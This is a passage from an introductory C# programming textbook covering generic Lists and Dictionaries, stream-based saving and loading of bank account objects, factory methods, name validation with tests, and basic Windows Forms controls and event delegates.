The above statements would cause a compilation error. we have a string as the key and an Account reference as the value. Generics and the List In the case of generics. The type between the < and > characters is how we tell the list the kind of things it can store. generically enhanced. which makes them the perfect way to store a large number of items of a particular type. Since the compiler knows that AccountList holds Account references. since the acountList variable is declared as holding a list of Account references. You can do everything with a List (Add. Because we have told the compiler the type of things the list can hold it can perform type validation and make sure that nothing bad happens when the list is used: KitchenSink k = new KitchenSink(). However.PayInFunds(50). This allows the key to your hashtable. Something like: "Divide the number of marbles by the number of friends and then distribute the remainder randomly". However. accountList. generics can be regarded as another form of abstraction. For example.Generic namespace and works like this: List<Account> accountList = new List<Account>(). C# Programming © Rob Miles 2010 137 .Add("Rob". Remove) that you can with an ArrayList. to be made typesafe. In other words statements like this would be rejected. The above statement creates a list called acountList which can hold references to Accounts. What the system works on is not particularly important. The sharing algorithm could have been invented without worrying about the type of the thing being shared.Account> accountDictionary = new Dictionary<string. and will not accept the kitchen sink. If you wanted to share out marbles amongst you and your friends you could come up with way of doing that. We can now add items into our dictionary: accountDictionary.Account>(). This looks just like the way the HashTable was used (and it is). You could take your universal sharing algorithm and use it to share most anything. and the items it stores. The List class lives in the System.Advanced Programming Generics and Collections This sounds a bit confusing. we might want to use the name of an account holder as a way of locating a particular account. cakes or even cars. Count.3 The Dictionary class Just as ArrayList has a more powerful. it can be a general sharing behaviour that is then applied to the things we want to share.Collections. so the HashTable has a more powerful cousin called Dictionary. What the list stores is not important when making the list. There is no need to cast the item in the list as the type has already been established. The C# features that provide generics add a few new notations to allow you to express this. You now have a system that lets you share marbles. the behaviour you want is that of a list. using a Dictionary has the advantage that we can only add Account values which are located by means of a string. you could also use it to share out sweets. robsAccount). this means that you can write code like this: accountList[0]. just as long as you have a way of telling it what to store.Add(k).1. In this respect. 5. We can create a dictionary to hold these key/value pairs as follows: Dictionary<string. how about an example. cousin called List. In other words. We could create a List that can hold integers in a similar way: List<int> scores = new List<int>().
decimal GetBalance ().WriteLine("Rob is in the bank"). Every time you need to hold a bunch of things. 5. make a List. particularly library routines.PayInFunds(50).Add("Glug". Programmer’s Point: Use Dictionary and List You don't really have to know a lot about generics to be able to spot just how useful these two things are. Then we can move on to consider the code which will save a large number of them. The only problem with this use of a dictionary is that if there is no element with the key "Rob" the attempt to find one will result in a KeyNotFoundException being thrown.Advanced Programming Storing Business Objects KitchenSink k = new KitchenSink(). The programmers who wrote these things are very clever folks . accountDictionary. Don't have any concerns about performance. We can create a class called CustomerAccount which implements the interface and contains the required methods. use a Dictionary.ContainsKey("Rob")) { Console. and then save them when the program completes. } The Dictionary class is simply wonderful for storing keys and values in a typesafe manner. a lot easier. but you are strongly advised to find out more about generics as it can make writing code. bool WithdrawFunds ( decimal amount ).1. You can get around this by asking the dictionary if it contains a particular key: if (d. we'll consider how we save one account. A further advantage is that we do not need to cast the results: d["Rob"]. } All the accounts in the bank are going to be managed in terms of objects which implement this interface to manage the balance and read the name of the account owner. If you want to be able to find things on the basis of a key. C# Programming © Rob Miles 2010 138 . We can express the required account behaviour in terms of the following interface: public interface IAccount { void PayInFunds ( decimal amount ). k). and I recommend it strongly to you.4 Writing Generic Code The List and Dictionary classes were of course written in C# and make use of the generic features of the language. The account that we are going to work with only has two members but the ideas we are exploring can be extended to handle classes containing much larger amounts of data. string GetName(). To start with. How these features are used to create generic classes is a bit beyond the scope of this text.2 Storing Business Objects For our bank to really work we have to have a way of storing the bank accounts and bringing them back again. This means that our data storage requirements are that we should load all the accounts into memory when the program starts. 5. If we want to our program to be able to process a large number of accounts we know that we have to create an array to manage this. It also has a constructor which allows the initial name and balance values to be set when the account is created. This would find the element with the hash key "Rob" and then pay fifty pounds into it.
but it is just here to illustrate how the data in the class can be saved and restored. } } Note that this version of the class does not perform any error checking of the input values. if you think about it. since any save mechanism would need to save data in the account which is private and therefore only visible to methods inside the class. In fact. private string name. balance = initialBalance. return true. public virtual bool WithdrawFunds ( decimal amount ) { if ( balance < amount ) { return false. } private decimal balance = 0. decimal initialBalance) { name = newName.1 Saving an Account The best way to achieve the saving behaviour is to make an account responsible for saving itself. 5. We can add a Save method to our CustomerAccount class: C# Programming © Rob Miles 2010 139 . } public decimal GetBalance () { return balance.amount . } public string GetName() { return name.2. this is the only way that we can save an account. } public void PayInFunds ( decimal amount ) { balance = balance + amount .Advanced Programming Storing Business Objects public class CustomerAccount : IAccount { public CustomerAccount( string newName. so it is not what I would call "production" code. } balance = balance .
StreamReader(filename). } catch { return null. try { textIn = new System.TextReader textIn = null. Note that I have written the code so that if the file output fails the method will return false.ReadLine(). to indicate that the save was not successful. C# Programming © Rob Miles 2010 140 . System.ReadLine(). When we load there will not be an account instance to load from.TextWriter textOut = new System. A way to get around this is to write a static method which will create an account given a filename: public static CustomerAccount Load(string filename) { CustomerAccount result = null. So I could do things like: if (Rob.txt")) { Console. 5. When we save an account we have an account which we want to save.WriteLine(balance). It writes out the name of the customer and the balance of the account. } This method opens a file.2 Loading an Account Loading is slightly trickier than saving. result = new CustomerAccount(nameText.balance). textOut. The Load method above takes great pains to ensure that if anything bad happens it does a number of things: It does not throw any exceptions which the caller must catch. } This method is given the name of the file that the account is to be stored in.StreamWriter(filename). } return result.Parse(balanceText). textOut.txt". } return true. } finally { if (textIn != null) textIn.Save ("outputFile.2.IO.IO. } This would ask the account referred to by Rob to save itself in a file called "outputFile. decimal balance = decimal.Close() .IO.Close().WriteLine(name). string nameText = textIn. string balanceText = textIn. fetches the balance value and then creates a new CustomerAccount with the balance value and name.Advanced Programming Storing Business Objects public bool Save ( string filename ) { try { System. } catch { return false. textOut.IO.WriteLine ("Saved OK").
This means that their program will fail in this situation.txt. your part doesn’t break.TextWriter textOut) { textOut.2. in that it creates an instance of a class for us.WriteLine(name). you can argue this either way. whatever happens. We can use this as follows: test = CustomerAccount. you just have to make sure that. This is what I would call a "professional" level of quality. These scan programs for situations where the results of methods are ignored and flag these up as potential errors. We can create a save method which accepts the stream reference as a parameter instead of a filename: public void Save(System. The reference textOut refers to a stream which is connected to the file Test. as I grow older I become more inclined to make my programs throw exceptions in situations like this. We could create a new file for each account. If the factory fails (because the file cannot be found or does not contain valid content) it will return a null result.txt" ). with large numbers of file open and close actions being required (bear in mind that our bank may contain thousands of accounts). rather than a filename. This kind of method is sometimes called a ―factory‖ method. at the moment we can only store one account in a file. At the end of the day though there is not a great deal you can do if idiots use your software.Advanced Programming Storing Business Objects It returns null to indicate that the load failed if anything bad happens. the best place to do it is at the pub.StreamWriter( "Test. The way around this is to make sure that you document the null return behaviour in big letters so that users are very aware of how the method behaves.3 Multiple Accounts The above code lets us store and load single accounts. since that makes sure that a failure is brought to the attention of the system much earlier.WriteLine( "Load failed" ). However.txt" ). And they will probably try and blame me for the problem (which would be very unfair). You can also get code analysis tools which are bit like "compilers with attitude" (a good one is called FxCop). and is something you should aim for when writing code you are going to sell. which we can test for: if (test == null) { Console. textOut.IO. It makes sure that the file it opens is always closed. Using streams A better solution is to give the file save method a stream to save itself. 5. However.Load( "test.WriteLine(balance). } This save method can be called from our original file save method: C# Programming © Rob Miles 2010 141 . } Programmer’s Point: There is only so much you can do Note that if an incompetent programmer used my Load method above they could forget to test the result that it returns and then their program would follow a null reference if the customer is not found. but this would be confusing and inefficient.IO. A stream is the thing that the C# library creates when we open a connection to a file: System.TextWriter textOut = new System. Actually.IO.
The load method for our bank account can be replaced by one which works in a similar way.ReadLine(). } finally { if (textOut != null) { textOut. result = new CustomerAccount(name. try { string name = textIn. you can create a stream which is connected to a network port.StreamWriter(filename). Note that this is an example of overloading in that we have two methods which share the same name.Close().TextWriter textOut = null. decimal balance = decimal. } } return true. try { textOut = new System. For example.Advanced Programming Storing Business Objects public bool Save ( string filename ) { System. } catch { return null.IO. Save(textOut).ReadLine(). not just files on a disk.IO. public static CustomerAccount Load( System. } This method creates a stream and then passes it to the save method to save the item. This will open a stream and save all the accounts to it: C# Programming © Rob Miles 2010 142 .TextReader textIn) { CustomerAccount result = null. This means that if you make your business objects save and load themselves using streams they can then be sent over network connections with no extra work from you. } return result. string balanceText = textIn. Programmer’s Point: Streams are wonderful Using streams is a very good idea. balance).Parse(balanceText). It reads the name and the balance from this stream and creates a new CustomerAccount based on this data. } catch { return false.IO. } This method is supplied with a text stream. Saving and loading bank accounts Now that we have a way of saving multiple accounts to a single stream we can write a save method for the bank. The C# input/output system lets us connect streams to all manner of things.
This can be obtained via the Count property of the Hashtable.4 Handling different kinds of accounts The code above will work correctly if all we want to save and load are accounts of a particular type. in that everything is written in terms of the CustomerAccount class.Add(account. Note that we are using a new C# loop construction here.Values) { account. i++) { CustomerAccount account = CustomerAccount. } This reads the size of the bank and then reads each of the accounts in turn and adds it to the hash table.Parse(countString).bankHashtable. but this would not allow us to detect if the file had been shortened.Save(textOut). string countString = textIn. We have also been very careful to make sure that whenever we save and load data we manage the way that this process can fail.WriteLine(bankHashtable.TextWriter textOut) { textOut.2. for (int i = 0. account). Bank Notes: Large Scale Data Storage What we have done is created a way that we can store a large number of bank account values in a single file.Load(textIn). The reason that it is here is for completeness.Count). } return result. foreach (CustomerAccount account in bankHashtable.GetName(). Note that before it writes anything it writes out the number of customers in the bank. foreach. We have done this without sacrificing any cohesion.IO. we have seen that our customer needs the program to be able to handle many different kinds of account. and supplies each item in turn.ReadLine(). A production version of the program would check that each account was loaded correctly before adding it to the hash table. result. Health Warning This is complicated stuff. This material is provided to give you an idea of C# Programming © Rob Miles 2010 143 . We could just write out the data and then let the load method stop when it reaches the end of the file. int count = int. We do this so that when the bank is read back in the load method knows how many accounts are required. However. 5. in this case the Values property of the bankHashtable. } } This is the Save method which would be added to our Hashtable based bank.TextReader textIn) { HashBank result = new HashBank(). i < count.Advanced Programming Storing Business Objects public void Save(System. I don't expect you to understand this at first reading. in that only the CustomerAccount class is responsible for the content. Note that this load method does not handle errors.. It gets each account out of the hash table and saves it in the given stream.IO. This is very useful when dealing with collections of data. It works its way through a collection. The Load method for the entire bank is as follows: public static HashBank Load(System.
string inParentName) : base(newName. } public override bool WithdrawFunds(decimal amount) { if (amount > 10) { return false. I can create a BabyAccount as follows: BabyAccount babyJane = new BabyAccount ("Jane". As an example.WithdrawFunds(amount). This turns out to be very easy. } } This is a complete BabyAccount implementation. parentName. and then sets the parent name. some of which will be based on others. public string GetParentName() { return parentName. initialBalance) { parentName = inParentName. The customer has also asked that the BabyAccount class contains the name of the "parent" account holder. It contains an additional property. the starting balance and the name of the parent. method overriding/overloading and constructor chaining. This would create a new BabyAccount instance and set the reference babyJane to refer to it.Advanced Programming Storing Business Objects how you really could make a working bank. Banks and Flexibility We know that when our system is actually used in a bank there will be a range of different kinds of account class. This makes use of the constructor in the parent to set the balance and name. 20. } return base. decimal initialBalance. we have previously discussed the BabyAccount. "John"). but it assumes a very good understanding of class hierarchies. Saving a child class When we want to save a BabyAccount we also need to save the information from the parent class. and overrides the WithdrawFunds method to provide the new behaviour. . a special account for young people which limits the amount that can be withdrawn to no more than 10 pounds. } public BabyAccount( string newName. The good news is that when you do understand this stuff you really can call yourself a fully-fledged C# programmer. Note that I have created a constructor which is supplied with the name of the account holder.
IO. We know that a constructor is a method which gets control when an instance of a class is being created. However. Then it performs the save behaviour required by the BabyAccount class. } return result.Save(textOut).IO. A constructor can be used to set up the data in the instance. result = new BabyAccount (name. The way to do this is to go back to the construction process.ReadLine(). balance = decimal. If I forget to do this the program will compile. parent). textOut. string parent = textIn.ReadLine(). This is very good design. I'm not particularly keen on this approach. as it means that if the data content and save behaviour of the parent class changes we don't need to change the behaviour of the child. } This method overrides the Save method in the parent CustomerAccount. it first calls the overridden method in the parent to save the CustomerAccount data. What we really want to do is make the CustomerAccount responsible for loading its data and the BabyAccount just look after its content. try { string name = textIn.TextReader textIn) { BabyAccount result = null. Loading a child class We could create a static load method for the BabyAccount which reads in the information and constructs a new BabyAccount: public static BabyAccount Load( System. balance.ReadLine(). } catch { return null. This method breaks one of the rules of good design.ReadLine(). In the code above there is a constructor for the BabyAccount class which accepts the three data items that the BabyAccount holds and then sets the instance up with these values.IO. string balanceText = textIn. and it can be passed information to allow it to do this.ReadLine(). in a similar way to the way the save method uses the base keyword to save the parent object.WriteLine(parentName).Advanced Programming Storing Business Objects public override void Save(System.TextReader textIn) { name = textIn. but when it runs it will not work correctly. What we do is create constructors for the CustomerAccount and BabyAccount classes which read their information from a stream that is supplied to them: public CustomerAccount(System. string balanceText = textIn.TextWriter textOut) { base. I can therefore write code like this: C# Programming © Rob Miles 2010 145 .. } However. } This constructor sets up the new CustomerAccount instance by reading the values from the stream that it is supplied with. decimal balance = decimal.Parse(balanceText).Parse(balanceText).
void Save(System.Name). bool WithdrawFunds ( decimal amount ).IO.IO. bool Save(string filename).ReadLine().WriteLine(account. things get a little trickier. Note that these constructors do not do any error checking. Bearing in mind that the only way that a constructor can fail is to throw an exception anyway. This is a good idea. we don't actually know what kind of item we are loading.Close().TextWriter textOut) { textOut. but it could be updated to include them: public interface IAccount { void PayInFunds ( decimal amount ). there is a problem here.Advanced Programming Storing Business Objects System. result = new CustomerAccount(textIn).TextWriter textOut). it just has to call the save method for the particular instance. However. This creates a new CustomerAccount from the stream. this is reasonable behaviour.Values) { textOut. At the start this did not include the save behaviours. The save method for our bank could look like this: public void Save(System. textIn. foreach (CustomerAccount account in bankHashtable. } } C# Programming © Rob Miles 2010 146 . This is very useful when we store our collection of accounts.Count). since the account container will not have to behave differently depending on what kind of account it is saving.IO.WriteLine(bankHashtable. in that when we are loading the accounts we don't actually have an instance to call any methods on.GetType(). } We can now ask any item which implements the IAccount interface to save itself to either a file or a stream.StreamReader(filename).TextReader textIn = new System. The solution to this problem is to identify the type of each instance in the steam when we save the classes. You might think it would be sensible to add load methods to the IAccount interface. account. Now I can create a constructor for the BabyAccount which uses the constructor of the parent class: public BabyAccount(System. Also. they just throw exceptions if something goes wrong. Interfaces and the save operation When we started this account development we set out an interface which describes all the things which an instance of an account should be able to do. } This removes the dependency relationship completely. so that we can ask instances of a particular kind of account to load themselves.Save(textOut).IO. Loading and factories When it comes to loading our classes back. bearing mind we are reading from a stream of data.TextReader textIn) : base (textIn) { parentName = textIn. decimal GetBalance ().IO. string GetName(). If the behaviour of the CustomerAccount constructor changes we do not have to change the BabyAccount at all.
} } } This class only contains a single method.Add(account. C# Programming © Rob Miles 2010 147 . This means that when the stream is read back in this information can be used to cause the correct type of class to be created.Parse(countString). } return result. i < count. account). If the name is not recognized it returns null. if the account is of type CustomerAccount the program will output: CustomerAccount Rob 100 The output now contains the name of the type of each class that has been written. and then returns that to the caller.TextReader textIn) { switch (name) { case "CustomerAccount": return new CustomerAccount(textIn). default: return null. result. Factory Dependencies Note that we now have a genuine dependency between our system and the factory class. except that it uses the factory to make account instances once it has read the name of the class from the stream. However this kind of stuff is beyond the scope of this text.TextReader textIn) { HashBank result = new HashBank(). textIn). The method is given two parameters. case "BabyAccount": return new BabyAccount(textIn). creates one. } Again.IO. It makes use of the method GetType().ReadLine(). which is static. This writes out the name of the class. the name of the class to be created and a stream to read from. In other words.GetName(). IAccount account = AccountFactory.bankHashtable. There is in fact a way of removing the need to do this. which can be called on an instance of a class to get the type of that class. The bank load method can use this factory to create instances of accounts as they are loaded: public static HashBank Load(System.ReadLine().Advanced Programming Storing Business Objects This looks very like our original method. for (int i = 0. this looks very like our original load method. The neatest way to do this is to create a factory which will produce instances of the required class: class AccountFactory { public static IAccount MakeAccount( string name. string countString = textIn. int count = int. It involves writing code which will search for C# classes which implement particular interfaces and creating them automatically.MakeAccount(className. which has been highlighted. If we ever add a new type of account we need to update the behaviour of the factory so that it contains a case to deal with the new account type. System. i++) { string className = textIn. It uses the name to decide which item to make. Having got the type we can then get the Name property of this type and print that. except that it has an additional line.IO.
and also perform this for a large number of items of a range of different types. The job of the business object is to make sure that the data that it holds is always correct. are just those that "real" programmers are up against.3 Business Objects and Editing We have seen how to design a class which can be used to hold information about the customers in our bank. there is no dishonour in this way of working. It is important that this is always stored safely but people may want to change their name from time to time. Programmer’s Point: Production Code From now on all the code examples are going to be given in the context of production code. However. Now we need to consider how we can make our account management system genuinely useful. It is not their job to talk to users. 5. but I reckon this is worth doing since it is important you start to understand that what you are writing now. and the problems you are grappling with. The way that we manage the saving of items (by using a method in the class) and loading (by using a constructor) is not symmetrical.3. 5. so the validation process should provide feedback as to why it did not work. This is because classes like CustomerAccount are what is called business objects. consider the name of the bank account holder. The new name must be a valid one. However. A good software engineer would provide something like this: C# Programming © Rob Miles 2010 148 . This might make the examples a bit more complex than you might like. there is more to it than just changing one string for another. This is code which I would be happy to have supplied in a product. This means that the account must be able to reject names it doesn't like. If it is going to reject names it would be very useful to the user if they could be told why a given name was not valid. The editing behaviours should make use of the methods that the business object exposes. This means that the business object must provide a way that the name can be changed. they are strictly concerned with keeping track of the information in the bank account of the customer. This means that I will be considering what things you should look at when you are writing code for real customers. by providing a user interface which lets people interact with our business objects to run the bank.1 The role of the Business Object We have taken a very strict line in our banking system to stop any of the bank account components from actually talking to the user.Advanced Programming Business Objects and Editing Bank Notes: Messy Code You might think that the solutions above are rather messy. We now also know how to save the information in a class instance. When you want to move from objects to storage and back you will find that you hit these issues and this solution is as good as any I've found. Managing a bank account name As an example.
I’ve also made this method static so that names can be validated without needing to have an actual instance of the account. I provide the validate method so that users of my class can check their names to make sure that they are valid. if ( reply. Testing Name Handling Of course. if ( trimmedName. } this. It trims off all the spaces before and after the name text and then checks to see if the length of the resulting string is empty. } public static string ValidateName ( string name ) { if ( name == null ) { return "Name parameter null". The validate method will reject a name string which is empty. This does not involve me in much extra work.Length > 0 ) { return false. } The name is stored as a private member of the account class. the string is rejected. once we have these methods.Advanced Programming Business Objects and Editing private string name. There may be several reasons why a name is not valid. public string GetName() { return this.name. another to set it and another to validate it.Trim(). The validate method returns a string which gives an error message if the string is rejected. } return "".Length == 0 ) { return "No text in the name". since I also use the method myself when I validate the name. return true. } string trimmedName = name. The validate method is called by the set method so that my business object makes sure that an account never has an invalid name. } public bool SetName ( string inName ) { string reply . the natural thing to do is create tests for them: C# Programming © Rob Miles 2010 149 .Trim(). If it is.name = inName. reply = ValidateName(inName). or just contains spaces. There is a method to get the name. The reasons why a name is invalid are of course part of the metadata for the project. at the moment I've just given two. The programmer has provided three methods which let the users of my Account class deal with names.
} if ( a. And that is the matter of error handling.Advanced Programming Business Objects and Editing int errorCount=0.WriteLine("Empty name test failed").WriteLine("Jim GetName failed"). errorCount++. 50). errorCount++. You should consider issues like this as part of the metadata in your project.ValidateName("").SetName(" Pete ")) { Console. All I would need is a lookup table to convert the message number to an appropriate string in the currently active language. } if (errorCount > 0 ) { SoundSiren(). I can now write code to edit this property: C# Programming © Rob Miles 2010 150 . Programmer’s Point: Use Numbers Not Messages There is one issue which I have not addressed in my sample programs which stops them from being completely perfect. if (reply != "No text in the name") { Console. } reply = CustomerAccount. This is because they are much easier to compare in tests and it also means that my program could be made to work in a foreign language very easily. } if (!a. reply = CustomerAccount. First I test ValidateName to make sure that it rejects both kinds of empty string.WriteLine("Pete trim SetName failed").GetName() != "Jim" ) { Console. At the moment the errors supplied by my validation methods are strings. if (reply != "No text in the name") { Console.WriteLine("Pete GetName failed").SetName("Jim")) { Console. In a genuine production environment the errors would be numeric values.WriteLine("Jim SetName failed").GetName() != "Pete" ) { Console. } if ( a. } These are all the tests I could think of. if (reply != "Name parameter null") { Console. errorCount++. errorCount++. Then I make sure that I can set the name on an account. } CustomerAccount a = new CustomerAccount("Rob". Editing the Name We now have a business object that provides methods which let us edit the name value.WriteLine("Blank string name test failed").ValidateName(" "). The fact that the system must work in France and Germany is something you need to be aware of right at the start. errorCount++. string reply. errorCount++. } reply = CustomerAccount.ValidateName(null). Finally I check that the space trimming for the names works correctly. if (!a.WriteLine("Null name test failed"). errorCount++.
SetName(newName).Length == 0 ) { break.WriteLine( "Name Edit" ). If the name is not valid the message is printed and the loop repeats. while (true) { Console. string reply. if ( reply.WriteLine( "Invalid name : " + reply ). } account.ReadLine(). reply = this. } } C# Programming © Rob Miles 2010 151 .Write ( "Enter new name : " ) . } this.ReadLine().account = inAccount.account. This is not the most elegant solution. in that if the account class changes the editor may need to be updated.WriteLine( "Invalid name : " + reply ).account. When I want to edit an account I create an editor instance and pass it a reference to the account instance: public class AccountEditTextUI { private IAccount account. newName = Console. Now that we have our edit code we need to put it somewhere. Console.SetName(newName). } public void EditName () { string newName.Write ( "Enter new name : " ) . It will read a new name in. } Console.Length == 0 ) { break. reply = account. This code will perform the name editing for an account instance referred to by account. public AccountEditTextUI(Account inAccount) { this. There will be a dependency between the editor class and the account class. if ( reply.ValidateName(newName). This class will work on a particular account that needs to be edited.ValidateName(newName). string reply. } Console. but this is something we will just have to live with.Advanced Programming Business Objects and Editing while (true) { Console. If the name is valid the loop is broken and the name is set. Creating an Editor class The best way to do this is to create a class which has the job of doing the editing. newName = Console. but it does keep the user informed of what it is doing and it does work.
Note also that the editor remembers the account class that is being edited so that when I call EditName it can work on that reference. command = command. Programmer’s Point: Get used to passing references around It is important that you get used to the idea of passing references between methods.ReadLine().2 A Text Based Edit System We now have a single method in our editor class which can be used to edit the name of a bank account. but I will add other edit methods later.3. command = Console. 50). Note that the editor class is passed a reference to the IAccount interface. Console.WriteLine ( " Enter pay to pay in funds" ). Console. You will use this technique when you create different editing forms 5. Console. switch ( command ) { C# Programming © Rob Miles 2010 152 . edit. I've extended the account class to manage the account balance and added edit methods which pay in funds and withdraw them. public void DoEdit (CustomerAccount account) { string command.Advanced Programming Business Objects and Editing This is my account editor class. My edit class contains a method which does this: This is my edit method which repeatedly reads commands and dispatches them to the appropriate method. This means that anything which behaves like an account can be edited using this class. This code creates an instance of a customer account.WriteLine ( "Editing account for {0}". The class keeps track of the account it is editing.WriteLine ( " Enter draw to draw out funds" ). do { Console. It then creates an editor object and asks it to edit the name of that account.EditName(). Note that I trim the command string and convert it to lower case before using it to drive the switch construction which selects the command. It then passes that reference to the service methods which will do the actual work. At the moment it can only edit the name.WriteLine ( " Enter exit to exit program" ). The edit method is passed a reference to the account which is being edited.GetName() ). not a reference to the account class.Write ("Enter command : "). I would use the name editor as follows: CustomerAccount a = new CustomerAccount("Rob". command = command. Console.ToLower(). AccountEditTextUI edit = new AccountEditTextUI(a). name to edit name" ). If I want to "give" a class something to work on I will do this by calling a method in that class and passing the reference as a parameter to this method.Trim(). account. I pass it a reference to this account when I construct it. Console.
a customer on a mobile phone and a customer at a cash machine. As a general rule in a production system you should never write out straight text to your user (this includes the names of commands that the user might type in). Everything should be managed in terms of message numbers.Advanced Programming A Graphical User Interface case "name" : EditName(account). The object that I create is a Form. I need to create an instance of an object to do this for me.Forms namespace.1 Creating a Form If I want a form on the screen for the user to interact with. I can create an instance of this class and ask it to do things for me: C# Programming © Rob Miles 2010 153 . When we are dealing with windows on the screen our program is actually calling methods in the objects to make them do things like change size and colour. The user interface must always work on the basis that it will use the business object to perform this kind of validation. The menu for my bank account edit method sample code prints out text which is hard wired to English. The only thing that can decide on the validity of a name is the account object itself.Windows. I hope that you can see that the only way we can manage all these different ways of interacting with the bank account is to separate the business object (the account itself) from the input/output behaviour. The only exception to this is the situation where the customer has assured you that the program will only ever be written for use in a particular language. } } while ( command != "exit" ). break. case "pay" : PayInFunds(account). an operator on a dial up terminal. In a properly written program this would be managed in terms of message numbers to make it easier to change the text which is output. Note that we never do things like allow the user interface code to decide what constitutes a valid name. 5. } Programmer’s Point: Every Message Counts You should remember that every time your program sends text to the user you may have a problem with language. These will range from an operator in a call centre. This question is not the responsibility of the front end.4.4 A Graphical User Interface It should come as no surprise that a graphical user interface on the screen is represented by objects. case "draw" : WithDrawFunds(account). The C# libraries contain a set of resources which help you manage the internationalization of your programs. Bank Notes: More Than One User Interface The bank may have a whole range of requirements for editing account details. break. This class can be found in the System. 5. break.
it disappears and the program ends. class FormsDemo { public static void Main () { Form f = new Form().Windows.Add(title). title.Forms.Forms. } } This creates a label.Advanced Programming A Graphical User Interface using System. The result of this code is a form which looks like this: I can fiddle with the properties of a component to move it around on the screen and do lots of interesting things: C# Programming © Rob Miles 2010 154 . For example.ShowDialog().Controls. f. Label title = new Label (). If I run the program above the following appears on the screen: When the window is closed with the red button.Text="Hello".Windows.ShowDialog(). f. This asks the form to show itself and pause the program until the form is closed. Adding Components to a Form A form is a container. We must create the components and add them to the form to make our user interface. to add a label to the form we can do the following: using System. sets the text property of the label to ―Hello‖ and then adds it to the controls which are contained by the frame. } } The Form class provides a method called ShowDialog. class FormsDemo { public static void Main () { Form f = new Form(). It can 'contain' a number of graphical components which are used to build the user interface. f.
class FormsDemo { public static void Main () { Form f = new Form(). It provides a whole set of static colour values and also lets you create your own colours by setting the intensity of the red.Controls. This is a component just like a label. title. using System. It lets the user cut and paste text in and out of the box using the Windows clipboard. but it provides text edit behaviour. it behaves like every text field you've ever used on a windows screen. This is because it is actually the same thing as every text field you've ever used.e. I can then read the text property back when I want the updated value. I can create and use a TextBox in my program as follows: C# Programming © Rob Miles 2010 155 . The TextBox gives me a great deal of functionality for very little effort on my part. title. The origin (i. but what I want to do is provide a way that the name text can be edited. The program above would display a form as below: By adding a number of labels on the form and positioning them appropriately we can start to build up a user interface.ShowDialog().Advanced Programming A Graphical User Interface using System. The Color class is found in the System. } } The position on the screen is given in pixels (a pixel being an individual dot on the screen).Top=50. green and blue components. I can set the text property of the TextBox to the text I want to have edited.Left=50.Red. The Windows Forms library provides a TextBox component which is used for this. It lets the user type in huge amounts of text and scrolls the text around to make it fit in the box.BackColor = Color. title.Text="Hello".Windows. The user can then enter text into the textbox and modify it.ForeColor = Color. title. In short. f.Drawing namespace. f.0) is in the top left hand corner of the screen.Forms. Label title = new Label ().Drawing.Add(title). the pixel at 0. Editing Text with a TextBox Component Displaying labels is all very well. title.Yellow.
Controls.Windows. I can place it on the form and manage its position just like any other: C# Programming © Rob Miles 2010 156 .Add(nameLabel). using System. f. For that we need a button which we can press to cause an event.Advanced Programming A Graphical User Interface using System. Now we are going to find out how to make one work. This will trigger my program to store the updated name and close the form down.ShowDialog(). If you run this program you get a form as follows: This is not particularly flashy.Forms. nameTextBox. nameLabel. } } I've fiddled slightly with the position of the label and given it a more sensible name. nameTextBox.Top=50. TextBox nameTextBox = new TextBox(). It also lets you change the text in the name for whatever you want. Label nameLabel = new Label(). I've also set the name text we are editing to be Rob. But at the moment we have no way of signalling when the edit has been finished. A Button is just like any other component. just to show how the components work.Controls. nameLabel. nameLabel. class FormsDemo { public static void Main() { Form f = new Form(). The Button Component What we want is a button that the user can press when they have finished editing the name.Text="Name". You have pressed buttons like these thousands of times when you have used programs. f.Left=0.Drawing.Text = "Rob". but it is not bad for 25 or so lines of code.Top=50. nameTextBox.Left=100. f.Add(nameTextBox).
5. f. finishButton. The upshot of this is that the programming language must provide some means by which events can be managed.Add(finishButton).Text = "Rob".Controls. When the program wants something from the user it waits patiently until that information is supplied (usually by means of a call of the ReadLine method).Top=80.ShowDialog(). Label nameLabel = new Label(). using System.Left=100. C# Programming © Rob Miles 2010 157 .Controls. class FormsDemo { public static void Main() { Form f = new Form().2 Events and Delegates Events are things that happen.Add(nameLabel).Advanced Programming A Graphical User Interface using System. f. finishButton. In the early days of computers this is how they were all used. duh).Forms. TextBox nameTextBox = new TextBox().Left=0. Up until now our programs have run from beginning to end.Add(nameTextBox). The windows forms system uses delegates to manage this.Controls. nameTextBox. f. nameLabel. } } This gives me a button on the form which I can press: However at the moment nothing happens when the button goes down. nameTextBox.Windows. (well. nameTextBox. nameLabel.Top=50.4. finishButton.Drawing. Users expect to interact with items on a screen by pressing "buttons" and triggering different actions inside the program. nameLabel. Nowadays program use is quite different. f. This means that the way our programs work has to change. At any given instant the program was either running through code or waiting for input. To get this to work we have to bind a method in our program to the event which is generated when the button is pressed. Button finishButton = new Button().Top=50.Left=100. Rather than waiting for the user to do something our programs must respond when an event is generated.Text="Finished".Text="Name".
In the case of our button. The button then does its animation so that it moves in and out.Add(finishButton).Left=100. The list is actually a list of delegates. A delegate is an object which can be used to represent a particular method in an instance of a class. In this respect you can regard an event and a message as the same thing. from mouse movement. C# Programming © Rob Miles 2010 158 . nameLabel. The form decides which of the components on the form should be given the event and calls a method in that component to tell it "you've been pressed". finishButton. Then it looks for people to tell about the event.Controls. f. using System.Top=50. Label nameLabel = new Label().ShowDialog(). TextBox nameTextBox = new TextBox(). So. The actual code to create a delegate and assign it to a method is as follows: using System.Text="Name". f. The signature of the method that is called when the event occurs is the same for every kind of event.Drawing. when the user clicks on the button on our form this is registered by the Windows operating system and then passed into the form as an event. The button keeps a list of people to tell about events. finishButton. nameLabel. finishButton. so we can use this class every time we need to create a delegate.Left=0.Add(nameLabel). nameTextBox.Forms. nameTextBox.Advanced Programming A Graphical User Interface Events and method calls In C# an event is delivered to an object by means of a call to a method in that object. Button Events To get back to the problem we are solving.Click += new EventHandler(finishButton_Click).Controls. using System. From the point of view of our name editing form we would like to have a particular method called when the "Finished" button is pressed by the user. nameLabel. This method would validate the new name.Top=50.Left=100. store it if it was OK and then close down the edit form. to button press. We pass the button a reference to this delegate and it can then call the method it represents when the button is pressed. Button finishButton = new Button(). nameTextBox.Text="Finished". The good news is that creating a delegate instance for a windows component is such a common task that the forms library has provided a delegate class which does this for us. the delegate is going to represent the method that we want to have called when the button is pressed.Add(nameTextBox). class FormsDemo { public static void Main() { Form f = new Form().Windows.Controls. f.Top=80. to get a button to run a method of ours we need to create a delegate object and then pass that to the button so that it knows to use it when the event occurs. We just need to create an instance of this class to get a delegate to give to the button. to window closing.Text = "Rob". f. finishButton.
